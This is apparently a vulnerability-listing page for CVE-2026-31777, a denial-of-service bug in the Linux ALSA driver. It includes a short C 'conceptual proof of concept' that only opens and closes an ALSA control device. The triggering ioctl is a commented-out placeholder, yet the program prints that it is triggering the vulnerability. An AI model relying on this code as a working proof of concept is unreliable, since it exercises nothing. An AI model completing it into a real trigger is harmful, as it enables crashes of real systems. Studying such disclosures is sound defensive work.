CVE-2026-31777 Linux内核ALSA驱动拒绝服务漏洞

#include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> // This is a conceptual Proof of Concept for CVE-2026-31777. // It attempts to interact with the ALSA device to trigger the bug. #define DEVICE_PATH "/dev/snd/controlC0" // Common ALSA device path int main() { int fd; // Open the ALSA control device fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return EXIT_FAILURE; } printf("Device opened successfully. Triggering vulnerability...\n"); // In a real exploit scenario, specific IOCTLs or sequence of operations // would be crafted to force daio_device_index() to return an error code // that the driver does not handle, leading to a crash. // Since specific IOCTL numbers are hardware/driver specific, // this represents the interaction point. // Example placeholder for triggering logic: // ioctl(fd, SNDRV_CTL_IOCTL_ELEM_..., ...); close(fd); printf("Interaction completed. Check kernel logs for instability.\n"); return 0; }